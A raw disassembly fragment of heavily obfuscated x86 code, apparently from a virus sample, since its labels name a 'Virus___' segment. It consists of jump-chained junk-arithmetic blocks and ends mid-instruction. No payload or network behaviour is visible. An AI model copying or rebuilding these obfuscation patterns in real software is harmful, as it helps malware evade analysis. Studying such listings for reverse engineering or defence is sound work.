sub_545A2B+41D8j push [esp+16h+var_16] mov ebx, [esp+1Ah+var_1C+2] push eax push esp mov eax, [esp+22h+var_24+2] add esp, 4 push esi mov esi, 4 add eax, esi pop esi push esi push edi jmp loc_54B1C0 ; --------------------------------------------------------------------------- loc_54BAB8: ; CODE XREF: sub_545A2B+7Fj mov edx, esi pop esi neg edx push ecx jmp loc_54A10A ; --------------------------------------------------------------------------- loc_54BAC3: ; CODE XREF: sub_545A2B-1173j mov [esp-4Ch+arg_46+2], edi push esp mov edi, [esp-48h+arg_42+2] add esp, 4 add edi, 4 add edi, 4 push 6CE3h mov [esp-48h+arg_42+2], edi push [esp-48h+arg_46+2] pop edi jmp loc_54B309 ; --------------------------------------------------------------------------- loc_54BAEE: ; CODE XREF: sub_545A2B+9498j xor ch, dh mov edx, [esp-48h+arg_42+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-44h+arg_3E+2] pop esp inc ch push 449Dh mov [esp-44h+arg_3E+2], edx push ebx mov bl, 0A3h sub bl, 66h sub bl, 0A6h jmp loc_546C81 ; --------------------------------------------------------------------------- loc_54BB1B: ; CODE XREF: sub_545A2B+1C1Cj xor eax, 0EEB0BB8Ah mov edx, eax pop eax neg edx not edx push ebp jmp loc_54662B ; --------------------------------------------------------------------------- loc_54BB2D: ; CODE XREF: sub_545A2B+4DC9j add esi, ebp add esi, 621E6B13h pop ebp push edi mov edi, 1D3C1E29h add edi, 1 shr edi, 6 inc edi add edi, 52BD3FD9h add esi, edi pop edi add esi, eax sub esi, 53323052h push ebp mov ebp, 65B512B8h sub esi, 3CEE02DEh add esi, 246E1415h sub esi, ebp jmp loc_5431BC ; --------------------------------------------------------------------------- loc_54BB70: ; CODE XREF: sub_545A2B+3057j mov [esp-24h+arg_1E+2], esi push esp pop esi push 76E0h jmp loc_54BF51 ; --------------------------------------------------------------------------- loc_54BB7F: ; CODE XREF: sub_545A2B+56CAj sub al, bh add al, 2 pop ebx push edx jmp loc_549514 ; --------------------------------------------------------------------------- loc_54BB8A: ; CODE XREF: sub_543710+1E7j sub ebx, 28F028Fh add ebx, 130F2DC1h pop esi push ebx push [esp-20h+arg_1E+2] pop ebx jmp loc_54D7C6 ; --------------------------------------------------------------------------- loc_54BBA2: ; CODE XREF: sub_545A2B+29B3j add ax, dx pop dx add ax, 5F3Bh add ax, bx sub ax, 5F3Bh sub ax, 7F12h sub esp, 2 mov word ptr [esp-22h+arg_1E], cx push small 845h mov cx, word ptr [esp-20h+arg_1A+2] jmp loc_54B8AB ; --------------------------------------------------------------------------- loc_54BBCD: ; CODE XREF: sub_545A2B+2477j pop edx add edx, eax jmp loc_5473DF ; --------------------------------------------------------------------------- loc_54BBD5: ; CODE XREF: sub_545A2B+210j mov eax, 7523785Ch mov esi, 2284151Bh xor esi, eax pop eax mov ecx, esi pop esi not ecx and ecx, 304C210Eh sub ecx, 5F54787Dh push eax mov eax, 5D32155Eh xor eax, 5CD7CF5Ah xor ecx, eax pop eax jmp loc_54F0F3 ; --------------------------------------------------------------------------- loc_54BC06: ; CODE XREF: sub_545A2B+1438j inc ecx sub ecx, 0C99F15Dh mov eax, ecx jmp loc_549868 ; --------------------------------------------------------------------------- loc_54BC14: ; CODE XREF: sub_545A2B+8FFj push edi mov edi, 3E113ECCh shl edi, 8 sub edi, 12032B59h jmp loc_54A6E0 ; --------------------------------------------------------------------------- loc_54BC28: ; CODE XREF: sub_545A2B+58D9j xchg ebp, [esp-4Ah+arg_46] mov esp, [esp-4Ah+arg_46] jmp loc_54496F ; --------------------------------------------------------------------------- loc_54BC33: ; CODE XREF: sub_545A2B+626Dj shr edx, 1 cmp eax, edx jz loc_54DBE3 push edi mov edi, esp add edi, 4 jmp loc_5492F5 ; --------------------------------------------------------------------------- loc_54BC4B: ; CODE XREF: sub_543268+C17Fj pop esi jmp loc_5448BD ; --------------------------------------------------------------------------- loc_54BC51: ; CODE XREF: sub_545A2B-298Aj xchg edx, [esp-0Ah+arg_4+2] pop esp pop [esp-0Eh+arg_A] pop esp btc word ptr [esp-16h+arg_12], ax pushf jmp loc_54A1DB ; --------------------------------------------------------------------------- loc_54BC64: ; CODE XREF: sub_545A2B+2E1Fj pop ecx loc_54BC65: ; CODE XREF: sub_545A2B+89F2j push 8D4h mov [esp-42h+arg_3E], ebx jmp loc_5485D6 ; --------------------------------------------------------------------------- loc_54BC72: ; CODE XREF: sub_545A2B+2A14j mov ah, 0FBh add bl, ah pop eax add bl, 9 sub bl, 0EEh jmp loc_54B796 ; --------------------------------------------------------------------------- loc_54BC82: ; CODE XREF: sub_545A2B+6514j add eax, edx push [esp-2Ah+arg_26] mov edx, [esp-26h+arg_22] add esp, 4 add esp, 4 and ebx, eax pop eax or ebx, ebx jnz loc_54BC33 push 2E96h mov [esp-2Eh+arg_2A], ecx push esi mov esi, 28E59BEh mov ecx, 0FD71A662h add ecx, esi pop esi jmp loc_54A007 ; --------------------------------------------------------------------------- loc_54BCB9: ; CODE XREF: sub_545A2B+8FCFj sub ebx, 37476502h dec ebx sub ebx, 6F895F3h mov eax, ebx jmp loc_54ABD1 ; --------------------------------------------------------------------------- loc_54BCCD: ; CODE XREF: sub_54EAB6+Cj sub ebx, 3A465B6Fh and ebx, 7CDA3FB0h sub ebx, 50883E7Ch jmp loc_54F18F ; --------------------------------------------------------------------------- loc_54BCE4: ; CODE XREF: sub_545A2B+5448j pop esp xor eax, edx xor edx, eax xor eax, edx push esi sub esp, 4 mov [esp-30h+arg_2A+2], ebp mov ebp, 7DE108EEh shl ebp, 3 sub ebp, 5360087Fh inc ebp push ecx jmp loc_54EDDA ; --------------------------------------------------------------------------- loc_54BD0A: ; CODE XREF: sub_545A2B+8CE6j add eax, 8CB29D64h add ebp, eax pop eax add ebp, 2 xchg ebp, [esp-30h+arg_2A+2] pop esp div cx push small 547Dh mov word ptr [esp-32h+arg_2E], dx jmp loc_54E3E0 ; --------------------------------------------------------------------------- loc_54BD2C: ; DATA XREF: Virus___:00542ECCo lodsb push ecx push esp jmp loc_549026 ; --------------------------------------------------------------------------- loc_54BD34: ; CODE XREF: sub_545A2B+7447j mov [esp-2Ah+arg_26], ebx push 51C1h mov [esp-26h+arg_22], ebx mov ebx, 25FF54ACh xor [esp-26h+arg_26], ebx pop ebx push [esp-2Ah+arg_26] pop eax add esp, 4 push esi mov esi, 25FF54ACh xor eax, esi jmp loc_54C317 ; --------------------------------------------------------------------------- loc_54BD60: ; CODE XREF: sub_545A2B+3495j push ebp mov ebp, 2B7D0322h and eax, ebp pop ebp or eax, 53776A41h jmp loc_54A317 ; --------------------------------------------------------------------------- loc_54BD73: ; CODE XREF: sub_545A2B+3F4Fj mov [esp-2Eh+arg_2A], eax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54BD7B: ; CODE XREF: sub_545A2B+A67j shr ecx, 0Bh push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-44h+arg_3E+2] pop esp mov [esp-48h+arg_42+2], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 sub edx, ecx jmp loc_549611 ; --------------------------------------------------------------------------- loc_54BDA9: ; CODE XREF: sub_545A2B+6867j add dword ptr [edi+20h], 1 push edx push 20h mov edx, [esp-3Ch+arg_36+2] jmp loc_5446AB ; --------------------------------------------------------------------------- loc_54BDBE: ; CODE XREF: sub_545A2B+3FA0j shr ebx, 2 jmp loc_548CF5 ; --------------------------------------------------------------------------- loc_54BDC6: ; CODE XREF: sub_544364+28j add esp, 4 add edi, 4 push edi jmp loc_543019 ; --------------------------------------------------------------------------- loc_54BDD5: ; CODE XREF: sub_545A2B-23Bj add edi, 4 add edi, 4 xchg edi, [esp-14h+arg_E+2] pop esp add esp, 4 mov [edi+24h], eax pop eax xor edx, edx push 8EAh jmp loc_547E76 ; --------------------------------------------------------------------------- loc_54BDFB: ; CODE XREF: sub_545A2B+192Cj push edx jmp loc_54CAB2 ; --------------------------------------------------------------------------- loc_54BE01: ; CODE XREF: sub_545A2B+945Ej shl dx, 5 jmp loc_54C798 ; --------------------------------------------------------------------------- loc_54BE0A: ; CODE XREF: sub_545A2B+439Ej mov ebp, 68D24345h xor esi, ebp pop ebp jmp loc_5481D0 ; --------------------------------------------------------------------------- loc_54BE17: ; CODE XREF: sub_545A2B+1A44j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54BE1C: ; CODE XREF: sub_545A2B+FC9j not esi sub esi, 35582F8Fh shl esi, 2 and esi, 6F233F7Bh jmp loc_54B70A ; --------------------------------------------------------------------------- loc_54BE32: ; CODE XREF: sub_545A2B+26F7j mov [esp-12h+arg_E], edx mov edx, 26E90EF8h jmp loc_543996 ; --------------------------------------------------------------------------- loc_54BE3F: ; CODE XREF: sub_545A2B+3A3Bj mov ecx, esp jmp loc_54801D ; --------------------------------------------------------------------------- loc_54BE46: ; CODE XREF: sub_545A2B+878Cj shl ebx, 3 or ebx, 68542345h add ebx, 0E2E2649Bh or edx, ebx pop ebx and edx, 2E902648h push ebp jmp loc_544EA1 ; --------------------------------------------------------------------------- loc_54BE64: ; CODE XREF: sub_545A2B-2A9j mov bh, 0C5h jmp loc_5494B5 ; --------------------------------------------------------------------------- loc_54BE6B: ; CODE XREF: sub_545A2B+26C7j xor [esp-38h+arg_32+2], eax xor eax, [esp-38h+arg_32+2] mov esp, [esp-38h+arg_32+2] add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54BE7F: ; CODE XREF: sub_545A2B+3CCFj xor bh, 0BBh push ecx mov cl, bh jmp loc_54A3B0 ; --------------------------------------------------------------------------- loc_54BE8A: ; CODE XREF: sub_545A2B+6FE1j add esi, edi sub esi, 4DFF64B9h pop edi add esi, 2 xchg esi, [esp-2Eh+arg_2A] mov esp, [esp-2Eh+arg_2A] imul cx push edi jmp loc_54B9F8 ; --------------------------------------------------------------------------- loc_54BEA5: ; DATA XREF: Virus___:00542D1Co lodsd push edx mov edx, 16707C5Eh shl edx, 3 jmp loc_54CC73 ; --------------------------------------------------------------------------- loc_54BEB4: ; CODE XREF: Virus___:00544124j not edx xor edx, 583C3A6Ch jmp loc_54D6E4 ; --------------------------------------------------------------------------- loc_54BEC1: ; CODE XREF: sub_545A2B+2227j pop esi xor eax, ebx push [esp-44h+arg_3E+2] jmp loc_546D17 ; --------------------------------------------------------------------------- loc_54BECC: ; CODE XREF: sub_545A2B-1FA9j sub al, 1Bh add al, dh add al, 1Bh mov edx, [esp-38h+arg_32+2] add esp, 4 jmp sub_544E4C ; --------------------------------------------------------------------------- loc_54BEE0: ; CODE XREF: sub_545A2B+1C0Bj pop eax xor eax, 76713B3Ch pop edi shl eax, cl sub esp, 4 mov [esp-16h+arg_12], esi push 4766h mov [esp-12h+arg_E], edx mov edx, 0FFFFFFFFh push edx pop esi pop edx add eax, esi jmp loc_546290 ; --------------------------------------------------------------------------- loc_54BF09: ; CODE XREF: sub_545A2B+82CAj not edi sub esp, 4 mov [esp-12h+arg_E], ebp mov ebp, 670407AAh neg ebp or ebp, 4E9F098Dh shr ebp, 5 not ebp jmp loc_549BB3 ; --------------------------------------------------------------------------- loc_54BF28: ; CODE XREF: sub_545A2B+735Fj pop edi add edi, 4 push 117Bh mov [esp-12h+arg_E], ecx jmp loc_54ABA4 ; --------------------------------------------------------------------------- loc_54BF3C: ; CODE XREF: sub_545A2B+8112j add esp, 4 jmp loc_54BC82 ; --------------------------------------------------------------------------- loc_54BF44: ; CODE XREF: sub_545A2B+2B5Ej add eax, 4 xchg eax, [esp-28h+arg_22+2] jmp loc_545F9D ; --------------------------------------------------------------------------- loc_54BF51: ; CODE XREF: sub_545A2B+614Fj mov [esp-20h+arg_1A+2], edi mov edi, 4 add esi, edi pop edi jmp loc_54362C ; --------------------------------------------------------------------------- loc_54BF61: ; CODE XREF: sub_545A2B+6D18j push [esp-24h+arg_1E+2] pop eax add esp, 4 sub esp, 4 mov [esp-24h+arg_1E+2], eax push esp pop eax push esi mov esi, 4 add eax, esi jmp loc_54ABBF ; --------------------------------------------------------------------------- loc_54BF80: ; CODE XREF: sub_545A2B+4396j mov ebx, 617B3914h sub ebx, edi mov edi, [esp-0Ah+arg_4+2] jmp loc_547B57 ; --------------------------------------------------------------------------- loc_54BF8F: ; DATA XREF: Virus___:00542C88o push dword ptr fs:[edx] jmp loc_54C152 ; --------------------------------------------------------------------------- loc_54BF97: ; CODE XREF: sub_545A2B+12C3j pop edx add esp, 4 loc_54BF9E: ; CODE XREF: sub_545A2B+38AFj push 0D3Bh mov [esp-22h+arg_1E], ebx jmp loc_549A3E ; --------------------------------------------------------------------------- loc_54BFAB: ; CODE XREF: sub_545A2B-1D33j add edx, eax jmp loc_544FC8 ; --------------------------------------------------------------------------- loc_54BFB2: ; CODE XREF: sub_545A2B-2E2j pop eax add bl, 6Bh jmp loc_54EA40 ; --------------------------------------------------------------------------- loc_54BFBB: ; CODE XREF: sub_545A2B-24Bj push 5272h jmp loc_547A88 ; --------------------------------------------------------------------------- loc_54BFC5: ; CODE XREF: sub_545A2B+20C0j sub edx, 9C6ED2EDh sub ecx, edx pop edx push ebp jmp sub_54F214 ; --------------------------------------------------------------------------- loc_54BFD4: ; CODE XREF: Virus___:00544050j push esp pop [esp-40h+arg_3A+2] add [esp-44h+arg_3E+2], 4 pop ecx add ecx, 4 push edx mov edx, 6C7953F3h or edx, 7D9C095Fh neg edx push edi mov edi, 8202A403h xor edx, edi pop edi add ecx, edx jmp loc_54D820 ; --------------------------------------------------------------------------- loc_54C004: ; CODE XREF: sub_545A2B+595Cj pop ecx shl ecx, 8 inc ecx sub ecx, 3314A2CBh add ebx, ecx pop ecx jmp loc_54828D ; --------------------------------------------------------------------------- loc_54C017: ; CODE XREF: sub_545A2B+7703j movzx cx, al push cx pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C023: ; CODE XREF: sub_545A2B-1685j push ecx jmp loc_5462C2 ; --------------------------------------------------------------------------- loc_54C029: ; CODE XREF: sub_545A2B+4D4Bj xor ecx, 57B657B3h add ecx, 1 xor ecx, 10B3117Ah sub ecx, 812F1B9Eh jmp loc_54E518 ; --------------------------------------------------------------------------- loc_54C043: ; CODE XREF: sub_545A2B+3D52j not ebx or ebx, 0EF00633h jmp loc_54A725 ; --------------------------------------------------------------------------- loc_54C050: ; CODE XREF: Virus___:0054DDCDj push edi mov edi, 34472CCEh shr edi, 3 push ecx jmp loc_5436BD ; --------------------------------------------------------------------------- loc_54C05F: ; CODE XREF: sub_545A2B+430Ej add eax, edx pop edx add eax, 4 xor eax, [esp+0] jmp loc_548A43 ; --------------------------------------------------------------------------- loc_54C06F: ; CODE XREF: sub_545A2B+6731j not ecx sub esp, 4 mov [esp-8+arg_4], edi push edx mov edx, 3E25741Eh jmp loc_546935 ; --------------------------------------------------------------------------- loc_54C085: ; CODE XREF: sub_54CF49-87FAj push esi push [esp+arg_0] pop esi pop dword ptr [esp+0] pop esp mov ax, word ptr [esp-8+arg_4] push ecx jmp loc_54F259 ; --------------------------------------------------------------------------- loc_54C099: ; CODE XREF: sub_544481+10j push ebx push [esp+arg_0] pop ebx pop dword ptr [esp+0] mov esp, [esp-4+arg_0] push esi push ecx jmp loc_54E716 ; --------------------------------------------------------------------------- loc_54C0AC: ; CODE XREF: sub_545A2B-C69j xor esi, ebx pop ebx sub eax, 766F0EF2h sub eax, esi push esi mov esi, 766F0EF2h add eax, esi pop esi jmp loc_5461F6 ; --------------------------------------------------------------------------- loc_54C0C4: ; CODE XREF: sub_545A2B+3F8Cj pop ebp push ebx mov ebx, 0C9CE0B68h add ecx, 2C9B51D0h jmp loc_54D024 ; --------------------------------------------------------------------------- loc_54C0D6: ; CODE XREF: sub_545A2B+5096j mov edi, esp push ebx mov ebx, 4 add edi, 174D193Ch add edi, ebx sub edi, 174D193Ch pop ebx sub edi, 4 jmp loc_548A7E ; --------------------------------------------------------------------------- loc_54C0F5: ; CODE XREF: sub_545A2B+824Fj mov [esp-1Eh+arg_1A], ebx jmp loc_54A4DD ; --------------------------------------------------------------------------- loc_54C0FD: ; CODE XREF: sub_545A2B+4EF7j push eax mov eax, 4 add ecx, eax jmp loc_54CDE5 ; --------------------------------------------------------------------------- loc_54C10A: ; CODE XREF: sub_545A2B+9382j push ecx jmp loc_549586 ; --------------------------------------------------------------------------- loc_54C110: ; CODE XREF: sub_545A2B+721Ej push edi jmp loc_544AB2 ; --------------------------------------------------------------------------- loc_54C116: ; CODE XREF: sub_545A2B+3D7Dj mov ebx, 56BB537Bh mov esi, 16A713F5h add esi, ebx pop ebx push edi mov edi, 4F4D68EAh add edi, 4A1F6F73h jmp loc_54B67D ; --------------------------------------------------------------------------- loc_54C134: ; CODE XREF: sub_545A2B+8F03j push ecx push 5DECh mov [esp-16h+arg_12], edx mov dl, 38h jmp loc_54E003 ; --------------------------------------------------------------------------- loc_54C144: ; CODE XREF: sub_545A2B+9B8j xchg eax, [esp-3Ch+arg_36+2] pop esp inc word ptr [esp-40h+arg_3A+2] pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C152: ; CODE XREF: sub_545A2B+6567j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C157: ; CODE XREF: sub_545A2B+2343j mov ecx, 0D3F4B0Ch jmp loc_54C06F ; --------------------------------------------------------------------------- loc_54C161: ; CODE XREF: sub_545A2B+1351j add esp, 2 jmp loc_54B965 ; --------------------------------------------------------------------------- loc_54C16C: ; CODE XREF: sub_545A2B-1BBAj pop eax add word ptr [esp-5Eh+arg_5C], di pop di jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C179: ; CODE XREF: sub_545A2B+2EC6j add esp, 4 movsx ecx, ax push 7017h mov [esp-1Ah+arg_16], ecx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C18F: ; CODE XREF: sub_545A2B-1A2Aj shl edi, 5 jmp loc_54360F ; --------------------------------------------------------------------------- loc_54C197: ; CODE XREF: sub_545A2B+69BFj add esi, ecx pop ecx jmp loc_54A802 ; --------------------------------------------------------------------------- loc_54C19F: ; CODE XREF: sub_545A2B+3AA3j push ebx mov bl, dl jmp loc_54A26D ; --------------------------------------------------------------------------- loc_54C1A7: ; CODE XREF: sub_545A2B+1E87j sub esp, 4 mov [esp-3Ah+arg_36], ecx mov esi, [esp-3Ah+arg_36] add esp, 4 pop ecx and eax, esi pop esi shr eax, 8 xor eax, ecx push ebp push esp jmp loc_54B862 ; --------------------------------------------------------------------------- loc_54C1C9: ; CODE XREF: sub_545A2B+1BB6j mov esp, [esp-34h+arg_2E+2] mov cx, word ptr [esp-34h+arg_2E+2] sub esp, 4 mov [esp-30h+arg_2A+2], edx jmp loc_547922 ; --------------------------------------------------------------------------- loc_54C1DB: ; CODE XREF: sub_545A2B+1FF0j xchg edx, [esp-32h+arg_2E] jmp loc_54B5FB ; --------------------------------------------------------------------------- xor [esp-32h+arg_2E], eax xor eax, [esp-32h+arg_2E] xor [esp-32h+arg_2E], eax not eax push eax push [esp-2Eh+arg_2E] mov eax, [esp-2Ah+arg_26] push edi push esp pop edi add edi, 4 push esi jmp loc_5454FF ; --------------------------------------------------------------------------- loc_54C205: ; CODE XREF: sub_545A2B+97C2j sub ax, cx jmp loc_54BA6F ; --------------------------------------------------------------------------- loc_54C20D: ; CODE XREF: sub_545A2B-1873j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C212: ; CODE XREF: sub_545A2B+70EDj xchg ebx, [esp-1Eh+arg_1A] mov esp, [esp-1Eh+arg_1A] jmp loc_543545 ; --------------------------------------------------------------------------- loc_54C21D: ; CODE XREF: sub_545A2B-209Aj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C222: ; CODE XREF: sub_545A2B+9191j sub ebx, 0DAF3244h jmp loc_5433F8 ; --------------------------------------------------------------------------- loc_54C22D: ; CODE XREF: sub_545A2B-61Fj add ebp, 67DC2B13h push [esp-44h+arg_3E+2] mov esi, [esp-40h+arg_3A+2] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-40h+arg_3A+2] pop esp add ebp, 2 jmp sub_54D650 ; --------------------------------------------------------------------------- loc_54C254: ; CODE XREF: sub_545A2B+15A5j xor ebx, 62252996h jmp loc_5446D6 ; --------------------------------------------------------------------------- loc_54C25F: ; CODE XREF: sub_545A2B+1472j mov ebx, 4 add ebp, ebx pop ebx push 7DB6h mov [esp-6+arg_0+2], eax jmp loc_54A291 ; --------------------------------------------------------------------------- loc_54C274: ; CODE XREF: sub_545A2B-1661j push ebx jmp loc_543281 ; --------------------------------------------------------------------------- loc_54C27A: ; CODE XREF: sub_545A2B-2684j push dword ptr [edi+20h] sub [esp-20h+arg_1A+2], 0FFFFFFFFh pop dword ptr [edi+20h] sub dword ptr [edi+20h], 76ED1478h add dword ptr [edi+20h], 2C845A89h jmp loc_54BDA9 ; --------------------------------------------------------------------------- loc_54C297: ; CODE XREF: Virus___:0054D058j sub esp, 4 mov [esp-20h+arg_1A+2], eax jmp loc_544DC7 ; --------------------------------------------------------------------------- loc_54C2A2: ; CODE XREF: sub_545A2B+5DC3j or bh, cl jmp loc_54D8D8 ; --------------------------------------------------------------------------- loc_54C2A9: ; CODE XREF: sub_545A2B+3719j push [esp-2+arg_0+2] mov eax, [esp+2+var_4+2] add esp, 4 pop dword ptr [esp+0] mov esp, [esp-6+arg_0+2] jmp loc_543405 ; --------------------------------------------------------------------------- loc_54C2BE: ; CODE XREF: sub_545A2B+13A8j add esi, edx pop edx xchg esi, [esp-38h+arg_32+2] mov esp, [esp-38h+arg_32+2] sub esp, 4 mov [esp-34h+arg_2E+2], ebx push edx push 76A64ABFh jmp loc_544A75 ; --------------------------------------------------------------------------- loc_54C2D8: ; CODE XREF: sub_545A2B+5EB1j mov [esp-32h+arg_2E], esi push esp jmp loc_54379E ; --------------------------------------------------------------------------- loc_54C2E1: ; CODE XREF: sub_545A2B+4F01j pop [esp-16h+arg_12] pop esp jmp loc_546AE1 ; --------------------------------------------------------------------------- loc_54C2EA: ; CODE XREF: sub_545A2B+6A8Dj sub [esp-1Eh+arg_1E], ecx sub [esp-1Eh+arg_1E], 5B08101Dh sub [esp-1Eh+arg_1E], 5E5C6513h jmp loc_543B05 ; --------------------------------------------------------------------------- loc_54C303: ; CODE XREF: sub_545A2B+325Cj push ebx push 66793665h jmp loc_54F378 ; --------------------------------------------------------------------------- loc_54C30E: ; CODE XREF: sub_545A2B-1D2Dj xchg eax, [esp-36h+arg_32] pop esp jmp loc_54DE99 ; --------------------------------------------------------------------------- loc_54C317: ; CODE XREF: sub_545A2B+6330j pop esi sub esp, 4 mov [esp-2Ah+arg_26], edi push ebp push 7C6F0D47h push [esp-22h+arg_1E] pop ebp add esp, 4 jmp loc_54E77C ; --------------------------------------------------------------------------- loc_54C333: ; CODE XREF: sub_545A2B+4070j sub esi, 162D4D2Eh add esi, 667B5A1Dh add esi, edx sub esi, 667B5A1Dh jmp loc_546B34 ; --------------------------------------------------------------------------- loc_54C34C: ; CODE XREF: sub_545A2B+53A2j push esi jmp loc_549525 ; --------------------------------------------------------------------------- loc_54C352: ; CODE XREF: sub_545A2B-120Ej sub esp, 4 jmp loc_54463B ; --------------------------------------------------------------------------- loc_54C35D: ; CODE XREF: sub_545A2B-1027j sub ebx, 2A5922CEh sub ebx, edi add ebx, 2A5922CEh pop edi or ebx, 2A3A3AADh or ebx, 1E8B78CEh push edi mov edi, 91B5EA5h xor edi, 46D322B5h dec edi jmp loc_548E4D ; --------------------------------------------------------------------------- loc_54C38A: ; CODE XREF: sub_545A2B+10Fj push ebp jmp loc_54B8BC ; --------------------------------------------------------------------------- loc_54C390: ; CODE XREF: sub_545A2B+7412j pop esp jmp loc_54C98D ; --------------------------------------------------------------------------- loc_54C396: ; CODE XREF: sub_54D3EB+19j push 3E1Ch mov [esp+14h+var_16+2], esp push eax mov eax, 4 add [esp+18h+var_16+2], eax pop eax mov ebx, [esp+14h+var_16+2] add esp, 4 push eax mov eax, 4 add ebx, eax pop eax add ebx, 4 push ebx push [esp+14h+var_10] pop ebx pop [esp+14h+var_16+2] jmp loc_547A27 ; --------------------------------------------------------------------------- loc_54C3CF: ; CODE XREF: sub_545A2B+30D9j pop esi mov ebp, eax pop eax add eax, 13581434h add eax, ebp sub eax, 13581434h jmp loc_54D6B3 ; --------------------------------------------------------------------------- loc_54C3E4: ; CODE XREF: sub_545A2B+7519j xor ecx, 7912776Bh jmp loc_54C197 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push [esp-34h+arg_2E+2] jmp loc_548E00 ; --------------------------------------------------------------------------- loc_54C3FA: ; CODE XREF: sub_545A2B+31ECj add dh, 0DBh jmp loc_54502F ; --------------------------------------------------------------------------- loc_54C402: ; CODE XREF: sub_545A2B-25ECj push edx push edi mov edi, 5A67646h jmp loc_547786 ; --------------------------------------------------------------------------- loc_54C40E: ; CODE XREF: sub_545A2B+332Dj push 31Fh mov [esp+0], esp jmp sub_54E0A5 ; --------------------------------------------------------------------------- loc_54C41B: ; CODE XREF: sub_545A2B-1B38j mov ebx, 2 add edx, ebx mov ebx, [esp-3Ch+arg_36+2] add esp, 4 xchg edx, [esp-40h+arg_3A+2] jmp loc_5452A2 ; --------------------------------------------------------------------------- loc_54C430: ; CODE XREF: sub_545A2B-1CCBj push [esp-48h+arg_42+2] mov eax, [esp-44h+arg_3E+2] jmp loc_5491AD ; --------------------------------------------------------------------------- loc_54C43B: ; CODE XREF: sub_545A2B+8079j push esi mov esi, 13A146A6h xchg ebx, esi not ebx xchg ebx, esi shr esi, 1 and esi, 47813C60h dec esi jmp loc_543C44 ; --------------------------------------------------------------------------- loc_54C455: ; CODE XREF: sub_545A2B+1224j mov edi, edx pop edx push edx push edi mov edi, 3FD60E81h push 2EEBh mov [esp-0Ah+arg_4+2], edi push ebp jmp loc_549CD5 ; --------------------------------------------------------------------------- loc_54C46D: ; CODE XREF: sub_545A2B+11C1j add ah, 0F0h add bl, ah pop eax add bl, 0D7h sub bl, al sub bl, 0D7h sub bl, 0D7h jmp loc_549FC2 ; --------------------------------------------------------------------------- loc_54C483: ; CODE XREF: sub_545A2B+5B8Bj mov [esp-2Ch+arg_26+2], edx sub esp, 4 mov [esp-28h+arg_22+2], eax add [esp-28h+arg_22+2], 0D472D76h mov edx, [esp-28h+arg_22+2] add esp, 4 push ebp jmp loc_545D1E ; --------------------------------------------------------------------------- loc_54C4A2: ; CODE XREF: sub_5456BE-1482j add esp, 4 jmp loc_5443CF ; --------------------------------------------------------------------------- loc_54C4AA: ; CODE XREF: sub_54EF09+6j sub [esp-2Ch+arg_32+2], ebp pop ebp pop ebx add [esp-34h+arg_32+2], 5B08101Dh jmp loc_54C2EA ; --------------------------------------------------------------------------- loc_54C4BD: ; CODE XREF: sub_545A2B+3B1Dj push esi push ebp push edi jmp loc_54A969 ; --------------------------------------------------------------------------- loc_54C4C5: ; CODE XREF: sub_545A2B-11F8j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C4CA: ; CODE XREF: sub_545A2B-140j pop ebx add edx, 2 push esi mov esi, esp push ebp mov ebp, 4 jmp loc_543577 ; --------------------------------------------------------------------------- loc_54C4DF: ; CODE XREF: sub_545A2B+1A84j mov ecx, 65150421h push eax mov eax, 501876B9h jmp loc_5437C4 ; --------------------------------------------------------------------------- loc_54C4EF: ; CODE XREF: sub_545A2B+6B0Ej and ecx, edx jmp loc_5493C5 ; --------------------------------------------------------------------------- loc_54C4F6: ; CODE XREF: sub_545A2B+12F6j push esi mov esi, 4 sub edx, 373B0B4Dh add edx, esi add edx, 373B0B4Dh mov esi, [esp-18h+arg_12+2] add esp, 4 xchg edx, [esp-1Ch+arg_16+2] jmp loc_544D11 ; --------------------------------------------------------------------------- loc_54C51B: ; CODE XREF: sub_545A2B+6C15j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-18h+arg_12+2] pop esp mov [esp-1Ch+arg_16+2], esi jmp loc_546C88 ; --------------------------------------------------------------------------- loc_54C532: ; CODE XREF: sub_545A2B+745Fj push ebx jmp loc_54E6BA ; --------------------------------------------------------------------------- loc_54C538: ; CODE XREF: sub_545A2B+3402j pop ebp jmp loc_54C4EF ; --------------------------------------------------------------------------- loc_54C53E: ; CODE XREF: sub_545A2B+1110j xchg esi, [esp-3Ah+arg_36] mov esp, [esp-3Ah+arg_36] sub esp, 4 mov [esp-36h+arg_32], edi mov edi, 1E006A11h push ecx mov ecx, 0 push edi mov edi, 21961DA3h sub edi, 2FD4267h sub edi, 1 dec edi add edi, 2B34802Ah sub ecx, edi pop edi sub esp, 4 mov [esp-2Eh+arg_2A], ebp mov ebp, 3B325FA6h sub ecx, ebp pop ebp sub ecx, edi add ecx, 3B325FA6h add ecx, 49CD5B64h push edi push ecx pop edi pop ecx jmp loc_549076 ; --------------------------------------------------------------------------- loc_54C599: ; CODE XREF: sub_545A2B+717Ej mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-32h+arg_2E] xor [esp-32h+arg_2E], esi xor esi, [esp-32h+arg_2E] jmp loc_546060 ; --------------------------------------------------------------------------- loc_54C5B2: ; CODE XREF: sub_545A2B+5D22j add esp, 4 jmp loc_54EA16 ; --------------------------------------------------------------------------- loc_54C5BD: ; CODE XREF: sub_545A2B-2551j mov edi, 29CC4DE9h add ecx, edi pop edi xor ecx, 6FEF7C76h sub ecx, 19B004CFh xor ecx, 6EDD8F43h sub edx, 2D5B46E9h sub edx, ecx add edx, 2D5B46E9h pop ecx sub edx, eax add edx, 73FF2015h sub edx, 49997CA9h jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54C5F9: ; CODE XREF: sub_545A2B-A2Ej xor edi, 900BAE51h add edx, edi push [esp-28h+arg_22+2] pop edi add esp, 4 add 